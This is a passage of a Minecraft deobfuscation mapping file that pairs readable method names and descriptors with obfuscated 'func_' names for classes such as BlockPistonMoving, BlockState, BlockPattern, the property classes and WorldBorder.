(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FLnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockPistonMoving/func_176424_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FLnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockPistonMoving/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockPistonMoving/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockPistonMoving/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockPistonMoving/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockPistonMoving/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockPistonMoving/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockPistonMoving/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPistonMoving/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPistonMoving/newTileEntity (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;ZZ)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockPistonMoving/func_176423_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;ZZ)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockPistonMoving/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockPistonMoving/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPistonMoving/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonMoving/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonMoving/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPistonMoving/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPistonMoving/isOpaqueCube ()Z net/minecraft/block/BlockPistonMoving/func_149662_c ()Z +MD: net/minecraft/block/BlockPistonMoving/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockPistonMoving/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPistonMoving/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPistonMoving/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPistonMoving/isFullCube ()Z net/minecraft/block/BlockPistonMoving/func_149686_d ()Z +MD: net/minecraft/block/BlockPistonMoving/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockPistonMoving/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockPistonMoving/onBlockDestroyedByPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonMoving/func_176206_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonMoving/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPistonMoving/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPistonMoving/getTileEntity (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntityPiston; net/minecraft/block/BlockPistonMoving/func_176422_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntityPiston; +MD: net/minecraft/block/state/BlockPistonStructureHelper/canMove ()Z net/minecraft/block/state/BlockPistonStructureHelper/func_177253_a ()Z +MD: net/minecraft/block/state/BlockPistonStructureHelper/func_177255_a (II)V net/minecraft/block/state/BlockPistonStructureHelper/func_177255_a (II)V +MD: net/minecraft/block/state/BlockPistonStructureHelper/func_177251_a (Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/state/BlockPistonStructureHelper/func_177251_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/state/BlockPistonStructureHelper/func_177250_b (Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/state/BlockPistonStructureHelper/func_177250_b (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/state/BlockPistonStructureHelper/getBlocksToMove ()Ljava/util/List; net/minecraft/block/state/BlockPistonStructureHelper/func_177254_c ()Ljava/util/List; +MD: net/minecraft/block/state/BlockPistonStructureHelper/getBlocksToDestroy ()Ljava/util/List; net/minecraft/block/state/BlockPistonStructureHelper/func_177252_d ()Ljava/util/List; +MD: net/minecraft/block/state/BlockStateBase$1/apply (Ljava/util/Map$Entry;)Ljava/lang/String; net/minecraft/block/state/BlockStateBase$1/apply (Ljava/util/Map$Entry;)Ljava/lang/String; +MD: net/minecraft/block/state/BlockStateBase$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/block/state/BlockStateBase$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/block/state/BlockStateBase/cycleProperty (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/BlockStateBase/func_177231_a (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/BlockStateBase/cyclePropertyValue (Ljava/util/Collection;Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/block/state/BlockStateBase/func_177232_a (Ljava/util/Collection;Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/block/state/BlockStateBase/toString ()Ljava/lang/String; net/minecraft/block/state/BlockStateBase/toString ()Ljava/lang/String; +MD: net/minecraft/block/state/IBlockState/getPropertyNames ()Ljava/util/Collection; net/minecraft/block/state/IBlockState/func_177227_a ()Ljava/util/Collection; +MD: net/minecraft/block/state/IBlockState/cycleProperty (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/IBlockState/func_177231_a (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/IBlockState/withProperty (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/IBlockState/func_177226_a (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/IBlockState/getProperties ()Lcom/google/common/collect/ImmutableMap; net/minecraft/block/state/IBlockState/func_177228_b ()Lcom/google/common/collect/ImmutableMap; +MD: net/minecraft/block/state/IBlockState/getValue (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/Comparable; net/minecraft/block/state/IBlockState/func_177229_b (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/Comparable; +MD: net/minecraft/block/state/IBlockState/getBlock ()Lnet/minecraft/block/Block; net/minecraft/block/state/IBlockState/func_177230_c ()Lnet/minecraft/block/Block; +MD: net/minecraft/command/CommandKill/getRequiredPermissionLevel ()I net/minecraft/command/CommandKill/func_82362_a ()I +MD: net/minecraft/command/CommandKill/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandKill/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandKill/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandKill/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandKill/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandKill/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandKill/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandKill/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandKill/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandKill/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/block/state/BlockState$1/apply (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/String; net/minecraft/block/state/BlockState$1/apply (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/String; +MD: net/minecraft/block/state/BlockState$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/block/state/BlockState$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/block/state/BlockState$2/compare (Lnet/minecraft/block/properties/IProperty;Lnet/minecraft/block/properties/IProperty;)I net/minecraft/block/state/BlockState$2/compare (Lnet/minecraft/block/properties/IProperty;Lnet/minecraft/block/properties/IProperty;)I +MD: net/minecraft/block/state/BlockState$2/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/block/state/BlockState$2/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/block/state/BlockState$StateImplementation/getPropertyNames ()Ljava/util/Collection; net/minecraft/block/state/BlockState$StateImplementation/func_177227_a ()Ljava/util/Collection; +MD: net/minecraft/block/state/BlockState$StateImplementation/withProperty (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/BlockState$StateImplementation/func_177226_a (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/BlockState$StateImplementation/buildPropertyValueTable (Ljava/util/Map;)V net/minecraft/block/state/BlockState$StateImplementation/func_177235_a (Ljava/util/Map;)V +MD: net/minecraft/block/state/BlockState$StateImplementation/getProperties ()Lcom/google/common/collect/ImmutableMap; net/minecraft/block/state/BlockState$StateImplementation/func_177228_b ()Lcom/google/common/collect/ImmutableMap; +MD: net/minecraft/block/state/BlockState$StateImplementation/getValue (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/Comparable; net/minecraft/block/state/BlockState$StateImplementation/func_177229_b (Lnet/minecraft/block/properties/IProperty;)Ljava/lang/Comparable; +MD: net/minecraft/block/state/BlockState$StateImplementation/getPropertiesWithValue (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Ljava/util/Map; net/minecraft/block/state/BlockState$StateImplementation/func_177236_b (Lnet/minecraft/block/properties/IProperty;Ljava/lang/Comparable;)Ljava/util/Map; +MD: net/minecraft/block/state/BlockState$StateImplementation/getBlock ()Lnet/minecraft/block/Block; net/minecraft/block/state/BlockState$StateImplementation/func_177230_c ()Lnet/minecraft/block/Block; +MD: net/minecraft/block/state/BlockState$StateImplementation/equals (Ljava/lang/Object;)Z net/minecraft/block/state/BlockState$StateImplementation/equals (Ljava/lang/Object;)Z +MD: net/minecraft/block/state/BlockState$StateImplementation/hashCode ()I net/minecraft/block/state/BlockState$StateImplementation/hashCode ()I +MD: net/minecraft/block/state/BlockState/getValidStates ()Lcom/google/common/collect/ImmutableList; net/minecraft/block/state/BlockState/func_177619_a ()Lcom/google/common/collect/ImmutableList; +MD: net/minecraft/block/state/BlockState/getBaseState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/BlockState/func_177621_b ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/BlockState/getBlock ()Lnet/minecraft/block/Block; net/minecraft/block/state/BlockState/func_177622_c ()Lnet/minecraft/block/Block; +MD: net/minecraft/block/state/BlockState/getProperties ()Ljava/util/Collection; net/minecraft/block/state/BlockState/func_177623_d ()Ljava/util/Collection; +MD: net/minecraft/block/state/BlockState/getAllowedValues ()Ljava/util/List; net/minecraft/block/state/BlockState/func_177620_e ()Ljava/util/List; +MD: net/minecraft/block/state/BlockState/toString ()Ljava/lang/String; net/minecraft/block/state/BlockState/toString ()Ljava/lang/String; +MD: net/minecraft/block/state/BlockWorldState$1/apply (Lnet/minecraft/block/state/BlockWorldState;)Z net/minecraft/block/state/BlockWorldState$1/apply (Lnet/minecraft/block/state/BlockWorldState;)Z +MD: net/minecraft/block/state/BlockWorldState$1/apply (Ljava/lang/Object;)Z net/minecraft/block/state/BlockWorldState$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/state/BlockWorldState/getBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/state/BlockWorldState/func_177509_a ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/state/BlockWorldState/hasState (Lcom/google/common/base/Predicate;)Lcom/google/common/base/Predicate; net/minecraft/block/state/BlockWorldState/func_177510_a (Lcom/google/common/base/Predicate;)Lcom/google/common/base/Predicate; +MD: net/minecraft/block/state/BlockWorldState/getTileEntity ()Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/state/BlockWorldState/func_177507_b ()Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/state/BlockWorldState/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/block/state/BlockWorldState/func_177508_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/state/pattern/BlockPattern$CacheLoader/load (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/BlockWorldState; net/minecraft/block/state/pattern/BlockPattern$CacheLoader/load (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/BlockWorldState; +MD: net/minecraft/block/state/pattern/BlockPattern$CacheLoader/load (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/block/state/pattern/BlockPattern$CacheLoader/load (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_181117_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/translateOffset (III)Lnet/minecraft/block/state/BlockWorldState; net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_177670_a (III)Lnet/minecraft/block/state/BlockWorldState; +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/getFinger ()Lnet/minecraft/util/EnumFacing; net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_177669_b ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/getThumb ()Lnet/minecraft/util/EnumFacing; net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_177668_c ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_181118_d ()I net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_181118_d ()I +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_181119_e ()I net/minecraft/block/state/pattern/BlockPattern$PatternHelper/func_181119_e ()I +MD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/toString ()Ljava/lang/String; net/minecraft/block/state/pattern/BlockPattern$PatternHelper/toString ()Ljava/lang/String; +MD: net/minecraft/block/state/pattern/BlockPattern/match (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; net/minecraft/block/state/pattern/BlockPattern/func_177681_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; +MD: net/minecraft/block/state/pattern/BlockPattern/func_181627_a (Lnet/minecraft/world/World;Z)Lcom/google/common/cache/LoadingCache; net/minecraft/block/state/pattern/BlockPattern/func_181627_a (Lnet/minecraft/world/World;Z)Lcom/google/common/cache/LoadingCache; +MD: net/minecraft/block/state/pattern/BlockPattern/translateOffset (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;III)Lnet/minecraft/util/BlockPos; net/minecraft/block/state/pattern/BlockPattern/func_177683_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;III)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/state/pattern/BlockPattern/checkPatternAt (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;Lcom/google/common/cache/LoadingCache;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; net/minecraft/block/state/pattern/BlockPattern/func_177682_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;Lcom/google/common/cache/LoadingCache;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; +MD: net/minecraft/block/state/pattern/BlockPattern/getThumbLength ()I net/minecraft/block/state/pattern/BlockPattern/func_177685_b ()I +MD: net/minecraft/block/state/pattern/BlockPattern/getPalmLength ()I net/minecraft/block/state/pattern/BlockPattern/func_177684_c ()I +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/start ()Lnet/minecraft/block/state/pattern/FactoryBlockPattern; net/minecraft/block/state/pattern/FactoryBlockPattern/func_177660_a ()Lnet/minecraft/block/state/pattern/FactoryBlockPattern; +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/where (CLcom/google/common/base/Predicate;)Lnet/minecraft/block/state/pattern/FactoryBlockPattern; net/minecraft/block/state/pattern/FactoryBlockPattern/func_177662_a (CLcom/google/common/base/Predicate;)Lnet/minecraft/block/state/pattern/FactoryBlockPattern; +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/aisle ([Ljava/lang/String;)Lnet/minecraft/block/state/pattern/FactoryBlockPattern; net/minecraft/block/state/pattern/FactoryBlockPattern/func_177659_a ([Ljava/lang/String;)Lnet/minecraft/block/state/pattern/FactoryBlockPattern; +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/build ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/state/pattern/FactoryBlockPattern/func_177661_b ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/makePredicateArray ()[[[Lcom/google/common/base/Predicate; net/minecraft/block/state/pattern/FactoryBlockPattern/func_177658_c ()[[[Lcom/google/common/base/Predicate; +MD: net/minecraft/block/state/pattern/FactoryBlockPattern/checkMissingPredicates ()V net/minecraft/block/state/pattern/FactoryBlockPattern/func_177657_d ()V +MD: net/minecraft/block/state/pattern/BlockHelper/forBlock (Lnet/minecraft/block/Block;)Lnet/minecraft/block/state/pattern/BlockHelper; net/minecraft/block/state/pattern/BlockHelper/func_177642_a (Lnet/minecraft/block/Block;)Lnet/minecraft/block/state/pattern/BlockHelper; +MD: net/minecraft/block/state/pattern/BlockHelper/apply (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/state/pattern/BlockHelper/apply (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/state/pattern/BlockHelper/apply (Ljava/lang/Object;)Z net/minecraft/block/state/pattern/BlockHelper/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/state/pattern/BlockStateHelper/forBlock (Lnet/minecraft/block/Block;)Lnet/minecraft/block/state/pattern/BlockStateHelper; net/minecraft/block/state/pattern/BlockStateHelper/func_177638_a (Lnet/minecraft/block/Block;)Lnet/minecraft/block/state/pattern/BlockStateHelper; +MD: net/minecraft/block/state/pattern/BlockStateHelper/apply (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/state/pattern/BlockStateHelper/apply (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/state/pattern/BlockStateHelper/where (Lnet/minecraft/block/properties/IProperty;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/state/pattern/BlockStateHelper; net/minecraft/block/state/pattern/BlockStateHelper/func_177637_a (Lnet/minecraft/block/properties/IProperty;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/state/pattern/BlockStateHelper; +MD: net/minecraft/block/state/pattern/BlockStateHelper/apply (Ljava/lang/Object;)Z net/minecraft/block/state/pattern/BlockStateHelper/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/properties/PropertyHelper/getName ()Ljava/lang/String; net/minecraft/block/properties/PropertyHelper/func_177701_a ()Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyHelper/getValueClass ()Ljava/lang/Class; net/minecraft/block/properties/PropertyHelper/func_177699_b ()Ljava/lang/Class; +MD: net/minecraft/block/properties/PropertyHelper/equals (Ljava/lang/Object;)Z net/minecraft/block/properties/PropertyHelper/equals (Ljava/lang/Object;)Z +MD: net/minecraft/block/properties/PropertyHelper/hashCode ()I net/minecraft/block/properties/PropertyHelper/hashCode ()I +MD: net/minecraft/block/properties/PropertyHelper/toString ()Ljava/lang/String; net/minecraft/block/properties/PropertyHelper/toString ()Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyBool/getName (Ljava/lang/Boolean;)Ljava/lang/String; net/minecraft/block/properties/PropertyBool/func_177702_a (Ljava/lang/Boolean;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyBool/getName (Ljava/lang/Comparable;)Ljava/lang/String; net/minecraft/block/properties/PropertyBool/func_177702_a (Ljava/lang/Comparable;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyBool/create (Ljava/lang/String;)Lnet/minecraft/block/properties/PropertyBool; net/minecraft/block/properties/PropertyBool/func_177716_a (Ljava/lang/String;)Lnet/minecraft/block/properties/PropertyBool; +MD: net/minecraft/block/properties/PropertyBool/getAllowedValues ()Ljava/util/Collection; net/minecraft/block/properties/PropertyBool/func_177700_c ()Ljava/util/Collection; +MD: net/minecraft/block/properties/PropertyDirection/create (Ljava/lang/String;)Lnet/minecraft/block/properties/PropertyDirection; net/minecraft/block/properties/PropertyDirection/func_177714_a (Ljava/lang/String;)Lnet/minecraft/block/properties/PropertyDirection; +MD: net/minecraft/block/properties/PropertyDirection/create (Ljava/lang/String;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/properties/PropertyDirection; net/minecraft/block/properties/PropertyDirection/func_177712_a (Ljava/lang/String;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/properties/PropertyDirection; +MD: net/minecraft/block/properties/PropertyDirection/create (Ljava/lang/String;Ljava/util/Collection;)Lnet/minecraft/block/properties/PropertyDirection; net/minecraft/block/properties/PropertyDirection/func_177713_a (Ljava/lang/String;Ljava/util/Collection;)Lnet/minecraft/block/properties/PropertyDirection; +MD: net/minecraft/block/properties/PropertyEnum/getName (Ljava/lang/Comparable;)Ljava/lang/String; net/minecraft/block/properties/PropertyEnum/func_177702_a (Ljava/lang/Comparable;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyEnum/getName (Ljava/lang/Enum;)Ljava/lang/String; net/minecraft/block/properties/PropertyEnum/func_177702_a (Ljava/lang/Enum;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyEnum/create (Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/block/properties/PropertyEnum; net/minecraft/block/properties/PropertyEnum/func_177709_a (Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/block/properties/PropertyEnum; +MD: net/minecraft/block/properties/PropertyEnum/create (Ljava/lang/String;Ljava/lang/Class;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/properties/PropertyEnum; net/minecraft/block/properties/PropertyEnum/func_177708_a (Ljava/lang/String;Ljava/lang/Class;Lcom/google/common/base/Predicate;)Lnet/minecraft/block/properties/PropertyEnum; +MD: net/minecraft/block/properties/PropertyEnum/create (Ljava/lang/String;Ljava/lang/Class;Ljava/util/Collection;)Lnet/minecraft/block/properties/PropertyEnum; net/minecraft/block/properties/PropertyEnum/func_177707_a (Ljava/lang/String;Ljava/lang/Class;Ljava/util/Collection;)Lnet/minecraft/block/properties/PropertyEnum; +MD: net/minecraft/block/properties/PropertyEnum/create (Ljava/lang/String;Ljava/lang/Class;[Ljava/lang/Enum;)Lnet/minecraft/block/properties/PropertyEnum; net/minecraft/block/properties/PropertyEnum/func_177706_a (Ljava/lang/String;Ljava/lang/Class;[Ljava/lang/Enum;)Lnet/minecraft/block/properties/PropertyEnum; +MD: net/minecraft/block/properties/PropertyEnum/getAllowedValues ()Ljava/util/Collection; net/minecraft/block/properties/PropertyEnum/func_177700_c ()Ljava/util/Collection; +MD: net/minecraft/block/properties/PropertyInteger/getName (Ljava/lang/Comparable;)Ljava/lang/String; net/minecraft/block/properties/PropertyInteger/func_177702_a (Ljava/lang/Comparable;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyInteger/getName (Ljava/lang/Integer;)Ljava/lang/String; net/minecraft/block/properties/PropertyInteger/func_177702_a (Ljava/lang/Integer;)Ljava/lang/String; +MD: net/minecraft/block/properties/PropertyInteger/create (Ljava/lang/String;II)Lnet/minecraft/block/properties/PropertyInteger; net/minecraft/block/properties/PropertyInteger/func_177719_a (Ljava/lang/String;II)Lnet/minecraft/block/properties/PropertyInteger; +MD: net/minecraft/block/properties/PropertyInteger/getAllowedValues ()Ljava/util/Collection; net/minecraft/block/properties/PropertyInteger/func_177700_c ()Ljava/util/Collection; +MD: net/minecraft/block/properties/PropertyInteger/equals (Ljava/lang/Object;)Z net/minecraft/block/properties/PropertyInteger/equals (Ljava/lang/Object;)Z +MD: net/minecraft/block/properties/PropertyInteger/hashCode ()I net/minecraft/block/properties/PropertyInteger/hashCode ()I +MD: net/minecraft/block/properties/IProperty/getName ()Ljava/lang/String; net/minecraft/block/properties/IProperty/func_177701_a ()Ljava/lang/String; +MD: net/minecraft/block/properties/IProperty/getName (Ljava/lang/Comparable;)Ljava/lang/String; net/minecraft/block/properties/IProperty/func_177702_a (Ljava/lang/Comparable;)Ljava/lang/String; +MD: net/minecraft/block/properties/IProperty/getValueClass ()Ljava/lang/Class; net/minecraft/block/properties/IProperty/func_177699_b ()Ljava/lang/Class; +MD: net/minecraft/block/properties/IProperty/getAllowedValues ()Ljava/util/Collection; net/minecraft/block/properties/IProperty/func_177700_c ()Ljava/util/Collection; +MD: net/minecraft/world/border/IBorderListener/onSizeChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/border/IBorderListener/func_177694_a (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/border/IBorderListener/onCenterChanged (Lnet/minecraft/world/border/WorldBorder;DD)V net/minecraft/world/border/IBorderListener/func_177693_a (Lnet/minecraft/world/border/WorldBorder;DD)V +MD: net/minecraft/world/border/IBorderListener/onTransitionStarted (Lnet/minecraft/world/border/WorldBorder;DDJ)V net/minecraft/world/border/IBorderListener/func_177692_a (Lnet/minecraft/world/border/WorldBorder;DDJ)V +MD: net/minecraft/world/border/IBorderListener/onWarningTimeChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/world/border/IBorderListener/func_177691_a (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/world/border/IBorderListener/onDamageAmountChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/border/IBorderListener/func_177696_b (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/border/IBorderListener/onWarningDistanceChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/world/border/IBorderListener/func_177690_b (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/world/border/IBorderListener/onDamageBufferChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/border/IBorderListener/func_177695_c (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/border/EnumBorderStatus/getID ()I net/minecraft/world/border/EnumBorderStatus/func_177766_a ()I +MD: net/minecraft/world/border/EnumBorderStatus/values ()[Lnet/minecraft/world/border/EnumBorderStatus; net/minecraft/world/border/EnumBorderStatus/values ()[Lnet/minecraft/world/border/EnumBorderStatus; +MD: net/minecraft/world/border/WorldBorder/getStatus ()Lnet/minecraft/world/border/EnumBorderStatus; net/minecraft/world/border/WorldBorder/func_177734_a ()Lnet/minecraft/world/border/EnumBorderStatus; +MD: net/minecraft/world/border/WorldBorder/setTransition (D)V 